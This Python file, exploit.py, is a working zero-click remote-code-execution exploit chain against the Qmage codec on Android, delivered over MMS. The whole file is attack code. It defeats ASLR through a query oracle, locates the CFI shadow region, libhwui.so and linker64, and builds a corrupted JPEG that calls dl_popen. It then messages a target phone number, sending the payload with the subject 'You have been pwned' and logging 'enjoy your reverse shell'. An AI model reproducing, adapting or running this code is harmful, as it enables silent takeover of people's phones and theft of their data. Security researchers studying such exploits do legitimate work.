exploit.py

from subprocess import Popen, PIPE
import aslr_oracle
import json
import logging
import mms
import os
import random
import sys
import time

def KB(x):
  return x * 1024

def MB(x):
  return x * 1024 * 1024

def GB(x):
  return x * 1024 * 1024 * 1024

def PageAligned(x):
  return ((x & 0xfff) == 0)

class QmageMmsExploit:

  def __init__(self, config_file):
    # Load configuration from disk.
    self.LoadConfig(config_file)

    # Initialize essential constants.
    self.AslrBaseAddr = 0x6f00000000
    self.AslrEndAddr  = 0x8000000000

    # Initialize the test or production ASLR oracle depending on if a maps file
    # is provided.
    if hasattr(self, "maps_file"):
      self.oracle = aslr_oracle.TestAslrOracle(self.maps_file)
    else:
      self.oracle = aslr_oracle.MmsAslrOracle(config_file)

    # Initialize the MMS client object.
    self.mms = mms.MmsClient(self.hostname, self.username, self.password,
                             self.mms_in_dir)

  def LoadConfig(self, config_file):
    with open(config_file, "r") as f:
      config = json.loads(f.read())

    self.phone_number = config["phone_number"]

    self.hostname = config["hostname"]
    self.username = config["username"]
    self.password = config["password"]

    self.mms_in_dir = config["mms_in_dir"]
    assert(os.path.exists(self.mms_in_dir))

    with open(config["crashing_sample"], "rb") as f:
      self.crashing_sample = f.read()

    self.cooldown_time = float(config["cooldown_time"])

    self.code_exec_sample = config["code_exec_sample"]
    self.code_exec_generator = config["code_exec_generator"]

    self.bitmap_vtable_offset =\
        int(config["libhwui_bitmap_vtable_offset"], 16)
    self.ReadStreaEndError_offset =\
        int(config["libhwui_ReadStreaEndError_offset"], 16)
    self.dl_popen_offset = int(config["linker64_dl_popen_offset"], 16)

    self.rce_command = config["rce_command"]
    assert(len(self.rce_command) < 24)

    if "maps_file" in config:
      self.maps_file = config["maps_file"]

  def FindMappedRegionEnd(self, address, max_size):
    assert(PageAligned(address))
    assert(PageAligned(max_size) and max_size > 0)

    last_valid_size = 0
    lower_bound = 0
    upper_bound = max_size

    while upper_bound != lower_bound:
      cur_test = (lower_bound + upper_bound) // 2
      cur_test = (cur_test + 0xfff) & (~0xfff)

      result = self.oracle.CheckRange(address + last_valid_size,
                                      cur_test - last_valid_size)

      if result:
        last_valid_size = cur_test
        lower_bound = cur_test
      else:
        upper_bound = cur_test - 0x1000

    assert(last_valid_size != 0)
    return address + last_valid_size

  def FindRegionMethod1(self, range_start, range_end, region_sizes, light_mode):

    candidates = []

    for cur_addr in range(range_start, range_end, region_sizes[0]):
      if self.oracle.CheckAddress(cur_addr):
        unmapped_start = self.FindMappedRegionEnd(cur_addr, region_sizes[0])
        unmapped_end = unmapped_start + region_sizes[1]

        mapped_start = unmapped_start - region_sizes[0]

        if self.oracle.CheckRange(mapped_start, region_sizes[0]) and\
           not self.oracle.CheckAddress(unmapped_end - 0x1000) and\
           self.oracle.CheckRange(unmapped_end, region_sizes[2]):

          if light_mode:
            return unmapped_start
          else:
            candidates.append(unmapped_start)

    assert(len(candidates) > 0)

    while len(candidates) > 1:
      offset_to_test =\
          random.randint(1, (region_sizes[1] // 0x1000) - 2) * 0x1000

      new_candidates = []
      for candidate in candidates:
        if not self.oracle.CheckAddress(candidate + offset_to_test):
          new_candidates.append(candidate)

      candidates = new_candidates

    return candidates[0]

  def FindRegionMethod2(self, range_start, range_end, step_size, mapped_steps,
                        unmapped_steps, exact_region_sizes, light_mode):

    candidates = []

    step_results = [0] * (((range_end - range_start) // step_size) + 1)
    expected_results = [1] * mapped_steps + [0] * unmapped_steps
    total_steps = mapped_steps + unmapped_steps
    i = 0

    for cur_addr in range(range_start, range_end, step_size):
      step_results[i] = self.oracle.CheckAddress(cur_addr)
      
      if i >= total_steps - 1:
        if step_results[i - total_steps + 1: i + 1] == expected_results:
          unmapped_start = self.FindMappedRegionEnd(
              cur_addr - unmapped_steps * step_size, 2 * step_size)
          unmapped_end = unmapped_start + exact_region_sizes[1]

          mapped_start = unmapped_start - exact_region_sizes[0]

          if self.oracle.CheckRange(mapped_start, exact_region_sizes[0]) and\
             not self.oracle.CheckAddress(unmapped_end - 0x1000) and\
             self.oracle.CheckRange(unmapped_end, exact_region_sizes[2]):

            if light_mode:
              return unmapped_start
            else:
              candidates.append(unmapped_start)

      i += 1

    assert(len(candidates) > 0)

    while len(candidates) > 1:
      offset_to_test =\
          random.randint(1, (exact_region_sizes[1] // 0x1000) - 2) * 0x1000

      new_candidates = []
      for candidate in candidates:
        if not self.oracle.CheckAddress(candidate + offset_to_test):
          new_candidates.append(candidate)

      candidates = new_candidates

    return candidates[0]

  def FindRegionMethod3(self, range_start, range_end, step_size, mapped_steps,
                        unmapped_steps, exact_region_sizes, light_mode):

    def FindCompatibleOffset(probe_results, pattern, cur_offset):
      for i in range(cur_offset, len(probe_results) - len(pattern) + 1):

        j = 0
        while j < len(pattern):
          if ((probe_results[i + j] != -1) and
              (probe_results[i + j] != pattern[j])):
            break
          j += 1

        if j == len(pattern):
          return i

      return -1

    def FindProbeOffset(probe_results):
      i = len(probe_results) - 1
      while i >= 0:
        if probe_results[i] == -1:
          return i
        i -= 1
      return -1

    candidates = []

    step_results = [-1] * ((range_end - range_start) // step_size)
    expected_results = [1] * mapped_steps + [0] * unmapped_steps
    total_steps = mapped_steps + unmapped_steps
    i = 0

    while True:
      i = FindCompatibleOffset(step_results, expected_results, i)
      if i == -1:
        break

      probe_offset = FindProbeOffset(step_results[i: i + len(expected_results)])
      if probe_offset == -1:

        cur_addr = range_start + (i + mapped_steps - 1) * step_size

        unmapped_start = self.FindMappedRegionEnd(cur_addr, 2 * step_size)
        unmapped_end = unmapped_start + exact_region_sizes[1]

        mapped_start = unmapped_start - exact_region_sizes[0]

        if self.oracle.CheckRange(mapped_start, exact_region_sizes[0]) and\
           not self.oracle.CheckAddress(unmapped_end - 0x1000) and\
           self.oracle.CheckRange(unmapped_end, exact_region_sizes[2]):

          if light_mode:
            return unmapped_start
          else:
            candidates.append(unmapped_start)

        i += total_steps

      else:
        cur_addr = range_start + (i + probe_offset) * step_size
        step_results[i + probe_offset] = self.oracle.CheckAddress(cur_addr)

    assert(len(candidates) > 0)

    while len(candidates) > 1:
      offset_to_test =\
          random.randint(1, (exact_region_sizes[1] // 0x1000) - 2) * 0x1000

      new_candidates = []
      for candidate in candidates:
        if not self.oracle.CheckAddress(candidate + offset_to_test):
          new_candidates.append(candidate)

      candidates = new_candidates

    return candidates[0]

  def GetAddressInsideCFI(self):
    for tested_addr in range(self.AslrBaseAddr, self.AslrEndAddr, GB(2)):
      if self.oracle.CheckAddress(tested_addr):
        if self.oracle.CheckRange(tested_addr, GB(1)) or\
           self.oracle.CheckRange(tested_addr - GB(1), GB(1)):
          return tested_addr

    return None

  def Pwn(self):

    logging.info("Starting the ASLR bypass process...")

    ############################################################################
    # Stage 1 - find an address inside the 2GB CFI shadow memory region.
    ############################################################################

    cfi_address = self.GetAddressInsideCFI()

    if cfi_address == None:
      logging.error("Unable to find a valid address within the CFI region, "
                    "this shouldn't happen")
      return

    logging.info("Found address 0x%x inside CFI in %d queries" %
                 (cfi_address, self.oracle.queries))

    ############################################################################
    # Stage 2 - find the end of the CFI shadow memory region.
    ############################################################################

    cfi_end = self.FindMappedRegionEnd(cfi_address, GB(4))

    logging.info("CFI region end 0x%x found after %d queries (%d cached)" %
                 (cfi_end, self.oracle.queries, self.oracle.cached_queries))

    ############################################################################
    # Stage 3 - find the base address of the libhwui.so library.
    ############################################################################

    LIBHWUI_STEP_SIZE = MB(1)
    LIBHWUI_READABLE_STEPS = 2
    LIBHWUI_NONREADABLE_STEPS = 5
    LIBHWUI_PROLOGUE_READABLE_SIZE = 0x22C000
    LIBHWUI_NONREADABLE_SIZE = 0x599000
    LIBHWUI_EPILOGUE_READABLE_SIZE = 0x3C000
    LIBHWUI_TOTAL_SIZE = (
      LIBHWUI_PROLOGUE_READABLE_SIZE +
      LIBHWUI_NONREADABLE_SIZE +
      LIBHWUI_EPILOGUE_READABLE_SIZE
    )

    analysis_start_addr = cfi_end - LIBHWUI_READABLE_STEPS * LIBHWUI_STEP_SIZE

    libhwui_base = self.FindRegionMethod3(analysis_start_addr,
                                          analysis_start_addr + MB(100),
                                          LIBHWUI_STEP_SIZE,
                                          LIBHWUI_READABLE_STEPS,
                                          LIBHWUI_NONREADABLE_STEPS,
                                          (LIBHWUI_PROLOGUE_READABLE_SIZE,
                                           LIBHWUI_NONREADABLE_SIZE,
                                           LIBHWUI_EPILOGUE_READABLE_SIZE),
                                          light_mode = True)

    #
    # Example of the usage of slower method #1 to find the image base of
    # libhwui.so.
    #
    #analysis_start_addr = cfi_end - LIBHWUI_PROLOGUE_READABLE_SIZE
    #libhwui_base = self.FindRegionMethod1(analysis_start_addr,
    #                                      analysis_start_addr + MB(100),
    #                                      (LIBHWUI_PROLOGUE_READABLE_SIZE,
    #                                       LIBHWUI_NONREADABLE_SIZE,
    #                                       LIBHWUI_EPILOGUE_READABLE_SIZE),
    #                                      light_mode = False)

     # Adjust the base address to point exactly at the start of the library, by
     # subtracting the size of the initial read-only section.
    libhwui_base -= LIBHWUI_PROLOGUE_READABLE_SIZE

    logging.info("libhwui.so address 0x%x found after %d queries (%d cached)" %
        (libhwui_base, self.oracle.queries, self.oracle.cached_queries))

    ############################################################################
    # Stage 4 - find the base address of the linker64 loader.
    ############################################################################

    LINKER64_SIZE = 0x110000
    LINKER64_END_FROM_BASE = 0x11B000
    linker64_base = None

    for tested_offset in range(MB(100), MB(128), LINKER64_SIZE):

      tested_address = cfi_end + tested_offset

      if (self.oracle.CheckAddress(tested_address) and
          (self.oracle.CheckRange(tested_address, LINKER64_SIZE // 2) or
           self.oracle.CheckRange(tested_address - LINKER64_SIZE // 2,
                                  LINKER64_SIZE // 2))):

        linker64_region_end = self.FindMappedRegionEnd(
          tested_address, 2 * LINKER64_SIZE
        )
        linker64_base = linker64_region_end - LINKER64_END_FROM_BASE
        break

    assert(linker64_base != None)
    
    logging.info("linker64 address 0x%x found after %d queries (%d cached)" %
        (linker64_base, self.oracle.queries, self.oracle.cached_queries))

    ############################################################################
    # Stage 5 - construct a sample for RCE and launch the final attack.
    ############################################################################

    logging.info("ASLR defeated, crafting a corrupted image for RCE")

    args = [self.code_exec_generator,
            "0x%x" % (libhwui_base + self.bitmap_vtable_offset),
            "0x%x" % (libhwui_base + self.ReadStreaEndError_offset),
            "0x%x" % (linker64_base + self.dl_popen_offset),
            self.rce_command]

    p = Popen(args, stdout=PIPE, stderr=PIPE, shell=True,
              cwd=os.path.dirname(self.code_exec_generator))
    stdout, stderr = p.communicate()

    logging.info("Generator stdout: %s" % stdout.decode("utf-8").strip())
    if len(stderr) > 0:
      logging.info("Generator stderr: %s" % stderr.decode("utf-8").strip())

    try:
      with open(self.code_exec_sample, "rb") as f:
        code_exec_payload = f.read()
    except IOError:
      logging.error("Unable to find output image, bailing out")
      return

    logging.info("RCE exploit image successfully created, %d bytes long" %
                 len(code_exec_payload))

    logging.info("Crashing Messages before sending the final payload")

    self.mms.Send(self.phone_number,
                  [("crash.jpg", self.crashing_sample, "image/jpeg")])

    logging.info("Cooldown, sleeping for %d seconds..." % self.cooldown_time)
    time.sleep(self.cooldown_time)

    logging.info("Woke up, sending the exploit")

    self.mms.Send(self.phone_number,
                  [("rce.jpg", code_exec_payload, "image/jpeg")],
                  subject="You have been pwned")

    logging.info("Exploit sent, enjoy your reverse shell!")

def main(argv):
  if len(argv) != 2:
    print("Usage: %s <config file>" % argv[0])
    return

  # Initialize logging
  log_file_handler = logging.FileHandler("debug.log")
  log_file_handler.setLevel(logging.DEBUG)

  log_stream_handler = logging.StreamHandler()
  log_stream_handler.setLevel(logging.INFO)

  logging.basicConfig(
    level=logging.DEBUG,
    format="%(asctime)s [%(levelname)-7s] %(message)s",
    handlers=[
        log_file_handler,
        log_stream_handler
    ]
  )

  logging.debug("=" * 100)

  exploit = QmageMmsExploit(argv[1])
  exploit.Pwn()

if __name__ == "__main__":
  main(sys.argv)